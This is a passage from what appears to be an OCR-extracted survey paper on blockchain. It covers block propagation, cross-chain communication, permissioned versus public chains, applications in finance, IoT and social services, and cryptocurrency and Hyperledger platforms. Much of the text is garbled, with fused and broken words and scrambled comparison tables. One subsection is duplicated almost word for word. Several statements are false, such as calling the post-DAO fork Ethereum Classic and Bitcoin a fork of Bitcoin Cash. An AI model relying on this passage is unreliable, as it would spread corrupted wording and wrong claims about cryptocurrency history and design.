entities. Instead of transaction, there is a gldbalwhich results in reduction in the block

size. This helps in the reduction of load on thewoek, thus supporting the increment in the
speed of propagation of block.

3.5.5 Push/Advertisement Hybrid Propagatiom this case, there is an assumption that
entity A possesses n contemporaries. Here, thek fidopropagated ton contemporaries by



entity A. For rest of the n +n associated contemporaries, entity A broadcasts alue of
the block. This methodology is implemented in E¢wen blockchain.
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Figure 14: The procedure for block synchronization

According to the blockchain systems, the methodekgised for synchronisation of the
block may differ. In case of Ethereum blockchaintitg A may appeal to entity B for block
synchronization with a greater complexity [55-5Bigurel4 displays the process involved
for block synchronization.

1. Entity A makes an appeal related to the headeeadnt block to entity B by transmitting
GetBlockHeaders message. BlockHeaders messageh aisic includes appealed block
header is sent as a response by entity B to ehtity

2. Entity A appeals for MaxHeaderFetch blocks for fingdshared parent from entity B. By
default, MaxHeaderFetch has value 256, howevemtingber of headers of the block that
entity B sends to A might be lesser as comparéekdisovalue.

3. If Alis unable to find a shared ancestor after cletign of step (1) and step (2), entity A
will again send GetBlockHeaders, in order to retjheader of one block at a time. At the
same time, entity A will perform a binary search fiading the shared ancestor within its
local blockchain.

4. Once entity A finds a shared ancestor, entity Auestis shared ancestor for block
synchronization. In this procedure, entity A densmamtiaxHeaderFetch blocks for each
request, however, the real number of nodes whielsant from entity B to entity A might
be lesser as compared to this value.

3.6 Cross-chain Communication Blockchain technology is in a very nascent stagech
like the Internet in the early 1990s. Continuous aigorous development is going on to



ensure that the use cases of Blockchain are nusend re-usable. Until the advent of
Emails- only a few people who hosted LAN connedievere able to use the internet and
communicate with each other. The same case is tw@ghcurrent scenario of Blockchain
ledger usage. Today, there are many types of diftdslockchain networks (both public and
private) to cater to the needs of people all owerworld. Private chains are analogous to
Intranets of 2 decades ago. When it comes to nmagaigeir information while maintaining
authority, some, like IBM and JP Morgan, chooselégelop on private blockchains. These
chains aren’t truly making use of the full potehtid the technology. Instead, they are
creating intranet-like solutions, which are ess#iytiextremely inefficient databases.

But what if two different instances (networks) ab&kchain could communicate with each
other? This would be advantageous in many waysckBlmain interoperability ensures a
user-friendly operation and increases adoption.e&Sbemefits-

Multi-token transactions

Cross-chain exchange of information/receipts/dateda
Users can work with multiple currencies at once

4. Smart contracts can be executed effortlessly

whN e

This would also solve the Atomic-Swap problem.dyrhan terms, the problem of an atomic
swap is one where two parties can exchange datefmyr (both own different coins or forms
of currency) without having to trust a third parfyday, if one wants to convert INR to USD
(to be used in a foreign country), one needs t&t tcentralized third party (their banks) to
provide them with suitable cards (linked to theiéimbank accounts) which can provide them
with USD.

The problem with Cross-chain communication —
Two main principles followed by all blockchain netiks are —

1. Classical Atomicity - a transaction’s effects tgtace everywhere or nowhere.
2. Classical Isolation — guarantees that concurrantstctions cannot interfere in
destructive ways

Both these properties are poorly suited to wor&rass-chain communication where mutually
un-trusting parties may require multiple cautiooteiactions to set up and execute a deal.
There are multiple approaches suggested (as résasrell as working methods) which aim
at Cross-chains. Cross-chain deals are not ateamsdctions. They solve different problems:
transactions perform complex distributed state gkhanwhile deals, by contrast, simply
exchange assets among parties. While a transaxteffécts must be “all-or-nothing” to
preserve global invariants, each autonomous party ideal can decide independently
whether it finds an outcome satisfactory for its@lifansactions and deals make different
failure assumptions: transactions usually assumepaan fail only by crashing, while deals
necessarily assume parties may deviate arbitfaaig the common protocol.

For e.g. Ethereum Blockchain supports smart cotgtragritten in solidity whereas
Hyperledger composer supports smart contractse(tahaincode) which are actually written



in NodeJS or Go. A complex use-case of Blockchaimvarks may require different types of
these networks. If the project has a lot of busirlegic, which needs to be executed before
actually making changes to state variables on akblwin network through a transaction,
Hyperledger would be the right choice as all of MedeJS backend code could be used
within the chaincode. Thus, interchange b/w these types of networks would be very
difficult because “what to include in a smart castrand how to execute transactions” is
different at the core. (Experienced while writimgast contracts for Agri-Chain project)

4. TAXONOMY OF BLOCKCHAIN

Blockchain is based on distributed ledger technglog/ihich provides a consensus
authentication technique via a computer networkctviworks in the absence of a centralized
control for facilitating transactions and store thi®rmation which is produced by them. The
classification of Blockchain is categorized into otwclasses: Permission-based and
Participation-based.

4.1 Permission-Based:hese types of blockchains are not same as theaprisoncept i.e.
all the members in the blockchain community careas@nd modify the blockchain, and that
the ledger involved in the process is transparéhese are built by organizations for the
purpose of confidential usage.

4.1.1 Permissioned Blockchain€€ompanies may either build a private blockchairwoek

or modify a primitive blockchain network. Occasitipafew organisations might join forces
for construction and sharing of a patent network gonplifying the transaction process
amongst them. An example of this situation is “R8ckchain consortium”, that presents a
blockchain system which is used by economic in&guTherefore, permissioned blockchain
networks are proprietary in nature i.e., only darteusted entities are permitted to audit their
transactions on the distributed ledger althouglerymne have the authority to read the
transactions. Based on confidence the entities lvedo have for each other, they can
determine which consensus mechanism should behys#tem. It is also possible to set up
the permissioned blockchains in such a way soahgtentity can log its transaction onto the
blockchain, but only few members have the permissioread it. Few of its characteristics
are analogous to permissionless blockchain liketridiged storage, immutability,
traceability, and redundancy of data. Example: Bamk Supply chain, Insurance,
healthcare,etc.

4.1.2 Permissionless or Public Blockchaifi$iese types of blockchains do not have a central
control and are distributed in nature. They areesinicted for users for participation and
there are rewards involved for the process. An g@tarfor this is bitcoin network where
users can perform transaction using bitcoin. Ttaeeoften found to make use of consensus
mechanism for avoiding malicious users from sabintathe system.



The comparison-based analysis between permissiblmtkchain, centralised system and
permissionless blockchain is shown in Table IlllheTjitter and efficiency in centralized
system is better when compared to blockchain becawuklockchains there is supplementary
complexity due to the presence of consensus tegbgigFor instance, in Bitcoin, in one
second, there can be only seven transactions. Withegotiating with the security measures
[59-60], this value can be increased to around \W6&ereas in a centralized system, for
instance, transactions greater than fifty thousead be handled. There always exists a
compromise amid decentralization, i.e. performanicthe scaled system due to increase in
number of untrusted writers, and efficiency, i.etfprmance of the system during peak time.
It is essential to consider this compromise whéeednining whether it will be feasible to use
blockchain or not.

4.2 Participation-Based: As the demand of blockchain technology is risingfedent
variations of the systems are coming into existefités is due to the fact that the need for
the blockchain system differs from one field to teo. Sometimes, the required might be of
all the entities participating in the consensuscess, whereas sometimes only few are
needed.

Table lll: Comparison-based analysis between permissionleskdiiain, permissioned blockchain and
centralised system

Parameters Permissioned Blockchain| Centralised Sysin | Permissionless Blockchain
Consensus Byzantine Faulf N PoW, PoS, etc.
Technique Tolerance(BFT)

No. of Untrusted| L N H

Writers

Central Control | Yes Yes No

No. of Readers H H H

No. of Writers L H H

Jitter M H L

Efficiency H E L

Scalability M H M

Throughput H H L

Verification H L M

Speed

L — Low, H — High, M — Moderate, E — Extreme, N ori¢,

Table IV: Types of blockchains and their comparisons

Private blockchain Consortium blockchain | Public blockchain

Throughput High High Less

Participation in ConsensuysAuthentication required Authentication required Aentication not
Process required

Central Authority Complete Partial Decentralized
Transaction Mutability Alteration is possible Cam &ltered Cannot be tampered
Read Access Decided by organisation  Decided bynisgion | Public




Block Authentication Specific organisation Selechedles All

Asset Any Asset Native Asset Native Asset

Security Pre-approved Proof of Work Proof of Stack
participants

Identity Known Identities Pseudonymous Anonymous

Speed Faster Slower Slower

Applications Multichain, Blockstack Ripple, R3 Bitio, Ethereum,

Factom

4.2.1 Public Blockchains: This category of blockchain is regarded as “conebje
distributed”. In this, any entity in the networkncgerform reading operation, sending
transactions and viewing them being incorporatedaise they are legitimate and consensus
process (i.e. the procedure to determine whichkodmts appended to the blockchain and the
contemporary state) is open for participation. Rtd@in is used by crypto-economics, that is
the amalgamation of economical provisions and antitetion via techniques like proof of
work, proof of stake. They follow the conventiomadtion that the extent to which a user
might influence the consensus procedure is prapmate to the amount of commercial assets
they could bring to operation.

4.2.2 Consortium BlockchainsThis category of blockchain is regarded as "maeéra
distributed". In this, the consensus procedureeraed by a group of nodes that are initially
selected. For instance, if there are fifteen a#itnvolved in a consortium network and ten
entities out of these fifteen should authenticateheblock so that the block can be validated.
The read operation on the blockchain might be unecésd or confined to the members of the
network.

4.2.3 Private Blockchainsin this, write operation is restricted to one cehbrganization
and read operation either unrestricted or confioeg@n arbitrary range. Applications of these
kind of blockchains may involve database managemewiew, etc which are intramural (for
a company). Therefore, open readability might resteatially be required in several cases.
Although in some cases public assessment may lesseny desired.



Public Blockchain

Consortium Blockchain

Figure 15: Overview of the categories of the blockchain

Given that, public blockchain is opensource, it Has capability to draw the attention of
several users. Gradually a number of public bloakth are coming into existence.
Considering consortium blockchain, it can be agmflie in the field of business. Presently,
Hyperledger is being used to develop commercialsedium blockchain model and

Ethereum had bestowed tools, which help to devetmsortium blockchains. With respect to
private blockchain, their capabilities are gengraltilized by various companies who

implement them because they find them to be effici&@he categories of blockchain are
displayed in figure 15.According to the requiremehe blockchain systems are divided into
the following three categories and their compariaod analysis are presented in Table IV.

» Throughput Considering a public blockchain network, the nembf nodes involved is
high, therefore it takes sufficiently large amouwfittime for propagation of not only
transactions but also the blocks. Considering $kaa of network security, limitations on
public blockchain is high and this results in deelin transaction throughput, increase in
latency. In case of consortium and private blockghsince there are few authenticators
they are regarded as more efficient.

» Participation in Consensus Proces# public blockchain, any entity in the networknca
collaborate in its consensus process. Whereasneoctium and private blockchain, an
entity requires authentication in order to parétgin the consensus process, i.e., they are
permissioned.

* Central Authority. This is considered to be the primary distinctioiistng amongst the
three categories of blockchain. The public blockehaorks in the absence of a central



authority whereas consortium is partly centralisedature. In case of private blockchain,
it is completely controlled by a central authostyice it is governed by one entity.

» Transaction Mutability Blockchain is a decentralized network, hence tamsaction
involved are saved in varying entities in the cotepwnetwork. Therefore, it becomes
almost unfeasible to modify the public blockchadievertheless, if there are some the
influential entities who wish to modify the blockah, the consortium or private
blockchain can be altered.

* Read accesdn case of a public blockchain, it is open andsttransactions are accessible
to everyone. Whereas when the blockchain is priwateonsortium the approval for
performing read operation is dependent on the mitwin these, the organisation
determines if the information available is unreséd or confidential.

* Block Authentication: For authentication of the block, all entities,tire public chain,
participate. As for consortium blockchain, few dgsited entities perform validation. In
case of private blockchain, this process is completnanaged by single authority who
can decide the ultimate consensus.

4.3 Methods for Selecting BlockchainIn case, we have multiple entities who neithereha
trust on each other nor want a central authoritijoaigh, they wish to communicate and
perform some transactions, one may use permiss®olepermissioned blockchain. Table V
helps in determining the blockchain to be chostwel do not have to save the data, we do
not require a database. Since, blockchain sometatsss behaves as a database, it is not
required in this case. There may be one or mone dhe entity involved who are responsible
for writing the state of the system. This implibattwriter refers to a node that has access for
write operation in a database or for consent fortestants in blockchain. In case, data is not
required to be recorded, database is not requihed, blockchain is not needed. Likewise,
when one write is present, supplementary guaraiste®t provided by blockchain and a
conventional database is preferable, since it gsugerior high efficiency and low latency.

When a trusted centralized authority (TCA) is préstwvo things can happen. Firstly, writing
operation is entrusted to it and it may work asaathenticator for the evolution of states,
provided the TCA is always available. Secondlymay work as an authenticator for
permissioned blockchain, in which each writer afoale must be approved, provided TCA is
generally unavailable. In case, mutual trust exast®ng the writers, i.e. no illegitimate writer
is present, the prime solution might be a databaseng communal write permission. In the
absence of mutual trust among writers, permissidsiedkchain should be used. Subject to
requirement of public verification, either an epntis permitted for reading the state that
occurs in public permissioned blockchain or gro@igmtities who want to perform the read
operation that occurs in private permissioned kibekn may also be limited (In case, the
group of the writers is dynamic and is known to rbems, e.g. in Bitcoin, permissionless
blockchain should be used).

Table V: Feasibility ofPermission and permissionless bloekth



Blockchain Requirement | Numerous | Availability | Knowledge | Confidence | Need for
Type to Save State| Writers of Trusted | of all | on all | pubic
Third party | writers writers verification
P —
Permissionless Not always
Blockchain 4 4 online x - -
Public Not always
Permissioned 4 4 online v x v
Blockchain
Private Not always
Permissioned v v online v x x
Blockchain
X - - - s -
Don'’t Use v x - - - -
Blockchain
Always
v 4 Online - - .
Not always
4 4 online v v -
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4.4 Primary Features of Blockchain:Until now, we have focussed on the architecturthef

blockchain, followed by procedure of expansion loé texisting blockchain. Further, we
reviewed on the mechanisms involved in this remagkéchnology. In our prior discussion,
we focussed on the distributed nature of blockch&iigure 16 shows the features of

blockchain and let us further elaborate on them.

» Decentralizationin the field of centralized systems,

distributed environment.

every transact requires

authentication by a trusted third party. This resilin restriction in the price and the
execution of the servers. However, in blockchéaie, ¢entral authority is not required and
consensus methodologies in blockchain can sushanconsistency of information in




» Persistencyin blockchain, authentication of transactions isyvéast, and illegitimate
transactions will not be incorporated by legitimateners. Omission or rollback of
transactions is not plausible if they are incorpedtain the chain. If blocks contain
illegitimate transactions, they will be recogniZestantly.

* AnonymitylIn blockchain, every entity has a generated addressig which it can
communicate with each other. These addresses ddiscibse the original identity of
entities involved. Blockchain does not assure thwléss privacy protection because of
some inherent constraints.

» Auditability: Cryptocurrency which uses blockchain (in this cBgeoin) recorded data of
an entity’s assets according to UTXO model, thatmspent Transaction Output model
[61]. A transaction must indicate to a precedingpent transaction. As soon as, the
present transaction is stored in blockchain, statthe indicated unspent transactions is
substituted to spent. Thus, the transactions csitydse easily authenticated and traced.

» Real-time recordsDecentralized ledgers must be updated as sogargsattions happen,
or other proceedings take place, with the help avhes software which automate the
process. This certify that every network entity dsolits own real time record of its
transactions, that in turn decreases the posghkilifor malicious activity. The
computerized method and distributed record storageeases productivities and causes
reduction in cost.

* Immutability: In Blockchain, immutable records are created wiloiflrs profit, however,
it may cause authoritarian peril for few entitigsuthorities may be provided with
authorization for the access of all transactiortanies if any investigation takes place
which involve transactions stored in a blockchalihis makes it problematic for the
entities that claim shortage of transactions. Meeeoto maintain permanent log of some
transactions as well as entities, a blockchain maglve data confidentiality protocols,
mainly as authenticators progressively emphasizioyg safeguarding customer’s
confidentiality.

* Vulnerabilities: Blockchain networks is considered to be the prniméocus of the
malicious users. Although, blockchains have notbgsn hacked or modified efficiently,
the organisations and technologies related teeireported to be affected. The spectrum of
attacks ranges from service interruptions to thigwvef confidential information and
valued assets. Nevertheless, the distributed aathie of blockchain technology makes
the network more robust attacks or modifications.

» Tax implications: Blockchain transactions which involve valuable eass which can
generate unforeseen tax penalties that dependsaynén whichthe concerned tax experts
deal with digital currency.For example,IRS (US intd Revenue Service), considers
cryptocurrency as assets, that signifies that ms&etion might develop the necessity to
identify profit or loss when a cryptocurrency iartsferred.

4.5 Applications of Blockchain: As mentioned earlier, there are several fields lvictv the
blockchain technology is being applied. In thisteeg we will see in detail the various
domains in which blockchain technique is implemdnés well as discuss about the work



done by various authors in their correspondingdfiesing blockchain. Figure 17 shows
application of blockchain.

Applications of
Blockchain
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Figure 17: Applications of blockchain
4.5.1: Finance

Economic ServicesThe advent of various blockchain systems like @itcand Hyperledger
has resulted in huge influence on respective iadit system. Blockchain may change the
entire banking system. Blockchain can be harnegsexkveral fields like settlement and
clearance of economic assets etc. Some real basiaess such as collateralisation of various
financial results can use blockchain to decreastsas well as risks. Microsoft Azure (2016)
and IBM (2016) have begun to present Blockchaia-&grvice.

Organisation Transformation Blockchain may support traditional enterprises¢complish

the organisation transformation. For instance,auaty POs (Postal Operators) is a bridge
between traders and clients, digital currency dodkehain may support POs to expand their
functions which may include economic and non-ecanoservices.Battista et al. [77-
78],[94]said that every PO can release postcotyfe of coloured coin of Bitcoin). As POs
are considered trustworthy by people, postcoinecast fast with their retail network which

is quite dense. Moreover, they also tell that bébekn technique proposes business openings
for POs in supply chain management, identity ses/a&s well as device management.

Peer-to-Peer (P2P) Economic MarkeBlockchain may support to construct a peer-to-peer
economic market with security and reliability. Neysurveyed various methods to combine
P2P methodologies and multiparty calculation rul@sconstruct a Peer-to-Peer financial
Multiparty Computation (MPC) market. These MPC nednermit offloading computational
jobs on anonymous peer-processors network.

Hazard Managementit has an important role in economic technology{Ech) and after
the advent of blockchain, their combination canegbetter result. Pilkington presented a
hazard-management framework, where blockchain tgaknhelps in analysing investment
hazards in Luxembourgish situation. Stockholderddihg securities via custodians, also
face failure hazards. Blockchain also help to deanvestments and securities fast and avoid
looking at longstanding consideration. In Micheded von der Heyde (2016), it is stated that
combination of blockchain with some new system andy decrease risk and attain
transactional safety. Moreover, smart contract,ebasn blockchain, enable the DAO



(decentralised autonomous organisations) to geblved in business work associations.
Norta et al. proposed a DAO-Gaas conflict modeldtend consistency rules.

4.5.2 10T (Internet of Things): It is projected to assimilate the smart objects internet
and delivers several services to clients.Blockchaahnology has the potential to enhance
the IoT sector.

E-business: In the year 2015, Zhang and Wen projected a ndvEl digital business
prototype and realised that the smart propertystaeations have blockchain and smart
contract as their base. In this innovative protety@AC (distributed autonomous
corporations) is accepted as distributed transa@iement. The clients transact using DACs
for acquiring coins and exchanging sensor inforamaiin the absence of a third party.

Privacy and Security:This is another issue for 10T industry and can fio@roved using
blockchain. Hardjono and Smith projected a methaglplfor safeguarding the privacy for
appointing an loT device inside a cloud systemsupported the design to certify its
production provenance in the absence of verificalip a third party as well as permitted to
enrole anonymously. In the year 2015, IBM revedlerlevidence for ADEPT (Autonomous
Decentralised P2P Telemetry), which builds a deaéméd system using blockchain
technology. In ADEPT, home appliances will have tigential to recognize operational
issues and will independently fetch the softwaréatgs.

4.5.3Social ServicesThere are various methods in social services whitlises the
capabilities of blockchain. Few of them are mergubas follows:

Land Registrationin this the data related to the land like relatigghts like physical status
may be logged and broadcasted on the blockchawonlet If any alterations are performed
on the corresponding land, for instance transfemortgage establishment, it may also be
logged and operated on the blockchain. This willurm improve the effectiveness of social
services.

Use of Non-Conventional Energy Source§ogerty and Zitoliprojected thedlarcoin’ for
inspiring the use of non-conventional energiesafoin is a type of electronic currency
which give prize to the manufacturers of solar ggpeAs long as the miner generate solar
energy, they will receive solarcoins, as incentiwesolarcoin foundation.

Teaching and learning If teaching and learning process is considertmtkichain technique
has wide scope in online education market also.rigegrojected the idea of learning with
the help of blockchain. In such kind of learningpdixs can be packaged and located in the
blockchain network by the instructors and the legyraccomplishments may be considered
as coins.

Free-speech rightThe blockchain technology may be utilized for seayinternet structure
like identities and DNS. For instance, Namecoia isovel technology which is open-source



and enhances decentralisation, privacy and secspged of DNS and identities, as well as
censorship resistance. Since it makes the intammae censorship resistant, therefore it
safeguards free-speech right.

Some other social services of blockchain mightdwgstration of marriage, income taxation,
and patent management. Blockchain may also heledace paper work because with the
advent of the recent social services (blockchambesglded), digital signatures may substitute
seals that have to be attached on official docusaent

4.5.4. Reputation SystemA user’s reputation might be based on his pass#etions and
communications with the public. Recently, a sevématances have come up which states
falsification of individual’s reputation informatio For instance, in e-commerce, a number of
service-providers register large number of falss@mers for achieving a greater reputation.
Blockchain has the potential to resolve this issue.

AcademicsDomingue and Sharples projected a decentralizedraysased on blockchain for
educational record and reputation. Initially, evengtitute and staff were awarded with
educational reputation currency as prize. An iagitcan honour a worker by giving them
some reputation records. The changes in reputaaoneasily be sensed as transactions are
recorded on the blockchain.

Web SocietyCarboni projected a blockchain-based model foutagmn. In this, a voucher is
signed only if the client is content with the sees provided and is willing to bestow a
positive feedback. Subsequently, the service-peywill need to acquire additional 3% of
payment as voting fee to its network for discounggbybil attack. This voting fees is used
for calculating the reputation of the service pdari Dennis and Owen projected a novel
reputation system which could be applied to sevaetorks. They constructed a new
blockchain for recording one-dimension reputatiaiue (that is, either 0 or 1) from the
accomplished transactions. For instance, in fikrigly, Node Atransmits a file to node B. On
getting the delivery of the file, Node Btransmit&ransaction which comprises of score, file
has as well as private key node B for authentigatire identity. Subsequently, the mining
nodes contact nod& and nodeB for confirming that the transaction takes place witheny
malicious activity. As the transactions are recdrden the blockchain network, the
probability of reputation records being alteredlimost negligible.

4.5.5:Security and privacy

Security ImprovementBlockchain has the potential to provide assistdocenhancing the
security of decentralised networks. Charles pregca new anti-malware environment
known as BitAV, where the clients could distribugious virus patterns onto the blockchain
network. Therefore, fault tolerance of the systenimproved. Noyes discusses that BitAV
improved the speed of scanning as well as enhatieedeliability for faults. Blockchain
technique may also enhance security infrastruaelrability. For instance, PKIs (public key
infrastructures) are generally prone to single poinfailure either because of software and



hardware issues or attacks. In Axon, besides emnconventional PKIs reliability,
blockchain may be utilized to design a privacy-amss PKI.

Privacy Protection:Our personal data is susceptible to malware asasedervice providers,
who collect the data and record it on a centrabsépry, which is vulnerable to malicious
users. The decentralized nature of blockchain oareghis problem and enhance the security
of information of the customers. Zyskind et al. jpoted a blockchain-based distributed
personal data management system which guarantessrsivip of the users for their data.
The following three privacy issues can be resolV@data possession (ii)data clarity and
auditability and (iii) fine-grained access control.

4.5.6. Security and privacy:

- Security improvementBlockchain has the potential to provide assistdnceenhancing
the security of decentralised networks. CharlesNayes 2016) projected a new anti-
malware environment known as BitAV, where the dkeoould distribute various virus
patterns onto the blockchain network. Thereforeltfimlerance of the system is improved.
Noyes (in 2016) discusses that BitAV improved theesl of scanning as well as enhanced
the reliability for faults. Blockchain technique ynalso enhance security infrastructure
reliability. For instance, PKIs (public key infrasttures) are generally prone to single
point of failure either because of software andlivare issues or attacks. In Axon (2015),
besides enhancing conventional PKIls reliabilitygcklchain may be utilized to design a
privacy-conscious PKI.

« Privacy protection: Our personal data is susceptible to malware a3 aslservice
providers, who collect the data and record it @eatral repository, which is vulnerable to
malicious users. The decentralized nature of bloagkc can solve this problem and
enhance the security of information of the cust@ngyskind et al. (in 2015) projected a
blockchain-based distributed personal data managensgstem which guarantees
ownership of the users for their data. The follogvthree privacy issues can be resolved:
(i)data possession (ii)data clarity and auditap#gind (iii) fine-grained access control.

4.6.6. Secure Blockchain solution in cloud computm

Privacy leakage in cloud computing environment rhaye negative impacts. Blockchain
technology provides the clients with anonymity. Agaenation of blockchain and cloud
computing may result in enhanced security meastiigsire 18 highlights the working of
secure bitcoin protocol.



o o — ~

’, e

~
4
! E-Wallet Platform \ 2. Platform P E-Wallet \\‘

1
1
1. Usage : 3. Wallet CERT
Request 1 Validate CERT j~4————

E-Wallet
User

Wallet = g, mod q

Platform = G > 4. G,q, wallet

’
1
1
1
1
1
1
1
1
H
mod q 1
. 5. Platform 1
6. Transaction _— !
Request h 1 SK = Aamod q
1 SK = Aamod q 7. KEY :
: (account, TS)
1 P
. 1 9. Revocation !
8. Revocation, Request ! Select & delete
Request 1 Delete Wallet ———————1P| user's Wallet
1 H CERT

! 10. Finished

\ Y, Message \\ | ‘

Figure 18: Secure Bitcoin protocol

Installation of e-wallet is performed for using tkehain technology, which if improperly
removed, deduces the clients’ information. For isg\this issue, a solution is proposed in
[62] which ensures secure installation as well elettbn of e-wallet. A client will have to
install e-wallet software on his system for secuse of bitcoin. After completion of the
installation, the public key of the correspondirigtiorm is transmitted to the e-wallet. E-
wallet further transmits a certificate which waspinsed in the development phase of the
platform. Diffie—Hellman methodology is utilizedrfexchanging keys between e-wallet and
the platform. On the arrival of request for a taoi®n (involving bitcoins) by the user, a
ledger data which contains time stamp data betwesallet and platform are encrypted with
the shared key and sent. On the arrival of theasigior disposal, the certificate of the user is
obtained and deleted from e-wallet. Finally, ackleslgment is transmitted for confirming
secure disposal. Moreover, the related files as® akmoved in order to remove the
remaining information securely.

5. BLOCKCHAIN PLATFORMS AND ITS SECURITY CHALLENGES
There are several applications, of blockchain big seen that it is primary used for digital
currencies. In this section, we will be primarilgctissing on discussing few blockchain
platforms for highlighting technical dissimilarignd tactics which are being applied. Figure
19 highlights the taxonomy of blockchain platformdt is to be noted that we are not
endorsing any of the mentioned platforms, moredveshould be not be interpreted as
catalogue of the most prevalent platforms.

5.1Cryptocurrencies: Several blockchain applications are focused onsteanof digital
currency from one user’s account to the otherhis, twe will see a number of instances of
this type of blockchain applications.

5.1.1. Bitcoin (BTC) Bitcoin refers to a cryptocurrency system that \aeereviewed as the
developer of blockchain. In this, latest blocks preduced in every gap of ten minutes with
the help of SHA-256 hashing for connecting themhwahe another. Here, we use a PoW
methodology, in which miners should discover a motaincorporate in their own block so



that block hash is lesser than previously compui@uplex value. The complex value is
increased or decreased in order to accomplish @hmitute target to create a block. In the
past, separate computer system worked as minempablished blocks; presently Bitcoin
needs large data centres, dedicated hardware,verateentities who work collectively in
mining pool for winning the challenge for publishirblocks. When Bitcoin is used,
transaction fee payment optional because minerdagge portion of their assets by block
publication. Therefore, this payment is plannetiédess for every transaction, however over
the years this payment has increased because ohsiderable amount of backlogged
transactions.

Blockchain
Platforms
Cryptocurrencies MultiChain Hyperledger
itcoin itcoin Cas yperledger Fabric yperledger Indy
—> Bitcoi =1  Bitcoin Cash — H ledger Fabri = H ledger Ind
—> Litecoin —> Ethereum —T> Hyperledger > Hyperledger
Sawtooth Burrow
—» Ethereum Classic | =P» Dash —P1 Hyperledger Iroha
—> Ripple

Figure 19: Various platforms in which blockchain are beingdise

If high transaction fee is paid, the transactionyrba given higher priority in order to get
appended in the blockchain. In the beginning, nsimeceived fifty Bitcoin for every block,
after a few blocks they had to pay half of thiswealFor instance, in July 2016, 12.5 Bitcoins
was the reward to mine a block. According to Bitcoules, this value was halved every
210,000 blocks, moreover, the value reduced to adéter the production of 21 million
Bitcoins [84-86]. At this stage, the mining of Biin will be continued, however reward for
an entity who mines was entirely drawn from theseection fee. Every Bitcoin transaction
has program written in Script language. This progrstates the transaction and is not
comprised of loops, moreover, it is extremely leditwith respect to functionality, that is, the
programs are not Turing complete. Contemporarystieiions of Bitcoin utilize a minor part
of Script’'s characteristics. Realistically, a largember of transactions of Bitcoin makes use
of any one of the few patterns of program for tia@sfer of assets among entities.

5.1.2. Bitcoin Cash (BCC)n July 2017, around 80%-90% of Bitcoin computingherity
voted for including SegWit, that is, Segregatednasis, in which transactions are divided in
two parts: (i) transactional data (ii) signaturdadalhis helped to decrease the quantity of
data, that has to be authenticated in every blddle activation of SegWit led to to
production of a hard fork. The miners as well asukers who were unwilling to go through



transformation began to call the primary blockchaimBitcoin as BCC, that is Bitcoin Cash.
Therefore, Bitcoin Cash is initial blockchain whaseBitcoin is just a fork. After the hard
fork was caused, entities had approach to the equaitity of assets on the Bitcoin chain as
well as Bitcoin Cash chain.

5.1.3 Litecoin (LTC)Litecoin (LTC) has similarity with Bitcoin, howeveit targets to
decrease the confirmation time. LTC was the one wgwstructed SegWit, which splits the
transactions in two parts and hides the block wizeh was increased [64]. Here, “witness”
signature is detached from Merkle tree. LTC makss af Scrypt algorithm to hash whereas
Bitcoin uses SHA-256. Since Scrypt algorithm haghhimemory consumption, it is hard to
solve as compared to SHA-256. This results in m®ireg the creation difficulty level of
custom ASICs, that is, application-specific intdgdacircuits. The peak amount of assets that
can be mined here is high, that is, 84 million. Li&Csimilar to Bitcoin, and has greater
number of transactions, however it is not conseuitd substitute Bitcoin [65].

5.1.4 Ethereum (ETH)This is the blockchain platform that aims to pra&vgmart contracts,
which are codes present on blockchain and can peaghed by the users of Ethereum.
These are capable of receiving and transferringsséts, at the same time perform random
calculation. If designed appropriately, smart cacts may behave as trusted intermediary in
case of financial transactions as its program ipas well as immutable. Ethereum uses a
Turing complete language for transaction prograngmiHere, the miners get assets by
mining as well as transaction fees. There is artheoEthereum known as “gas”, which is
utilized to fuel the transactional calculations asdisually about 1/100,000th of an Ether.
Each transaction uses gas while executing, andebmgner of a specific transaction should
give adequate gas, otherwise transaction execugiaarminated. Here we have a limited
amount of gas for each smart contract (at presésthree million) to avoid computationally
costly programs to be proposed to Ethereum mifénis. is done since all the miners should
execute transactions parallelly [66].If a transactis submitted to Ethereum contract, it will
cause a program to execute parallelly on a mirsyttem. Thereafter, the user who publishes
the subsequent block also records the resultegl statontract on the blockchain.

5.1.5. Ethereum Classic (ETthereum experienced a DAO hack [67], where a moaléc
user withdrew about $50 million. Subsequently, adhfark was produced by Ethereum
Foundation which was called as Ethereum Classis Whs done to move the thieved assets
to the state prior to the attack. Entities who pesed Ethereum earlier the DAO hack now
owned equal quantity of assets in Ethereum Cla3sie.cause of its existence is that many
Ethereum users did not accept the fork becausaitfgophical reasons [68], which included
a protocol that blockchain should not be altered avere stubborn to use Ethereum
blockchain, which was unforked. The mining and sb&éware in Ethereum Classic is almost
same as Ethereum. The only difference is that Etlmris more popular, even though it is a
fork.

5.1.6 Dash (DASH)This is a cryptocurrency which aimed to providecijer transactions. It
utilizes a network known as “masternode” and isatég of making transactions in 4 seconds
[69].With the help of hash and PoW for each blotltilizes deterministic ordering for



masternodes. In order to become a masternode, emessitates 1000 Dash collateral. This
makes it extremely costly and almost infeasiblegtvern 50% or greater part of the
blockchain network [70]. The collateral needed foasternodes increases the issue of
untrustworthy entities in a decentralized netwdsklike most of the blockchain platforms,
Dash utilizes x11 as hashing algorithm. This cosgwiof utilizing eleven SHA-3 contestant
algorithms, and every hash is put forward to theesading algorithm which is existing in the
chain [70]. Thus, it becomes very difficult to geste an ASIC, which aims to resolve these
hashes in the hardware.

5.1.7 Ripple (XRPRipple is a cryptocurrency and the same name id tmethe related
payment network where this currency is being tratteth It aims to construct on the
methodology of Bitcoin as well as link various pagmh systems to one another. It has an
unchanging supply of 0.1 trillion Ripple, from whibtalf is selected for transmission [71-73].
It is effortless for the clients to connect to tietwork because they do not haveto download
complete blockchain. Moreover, since cost of exmgsaction is a small quantity of Ripple,
no mining payment exist to run the server. Thusrdldoes not exist any mining entity or
pools; instead, near 1/100®f a cent from every transaction is demolished 73R XRP is
not constructed for providing anonymity, howevehas properties which provide privacy,
for example, utilizing proxied gateway are usedgayments.

5.2Hyperledger: This is a set of projects whose objective is toegate open-source,
enterprise-grade, decentralized ledgers [74]. Lifoundation hosted and supported the
Hyperledger Projects. Though, Linux Foundation édstiyperledger projects, varied sources
developed and contributed to every project. Hyplgige project consist of many projects and
each project provides blockchain platform for sodva particular problem.

5.2.1. Hyperledger Fabridt is a permissioned and modular blockchain, whiah execute
smart contracts (known as Chaincode) [75]. InjiaDigital asset and IBM contributed the
Hyperledger Fabric to Hyperledger Project.

5.2.2. Hyperledger SawtootHyperledger Sawtooth uses POET as the consensus
methodology and is modular decentralized ledger.PBET, each participating entity
demands a hardware enclave for “wait time”. A hadwenclave is a protected and trusted
feature existing on some hardware and it will atecwait times arbitrarily. An entity who
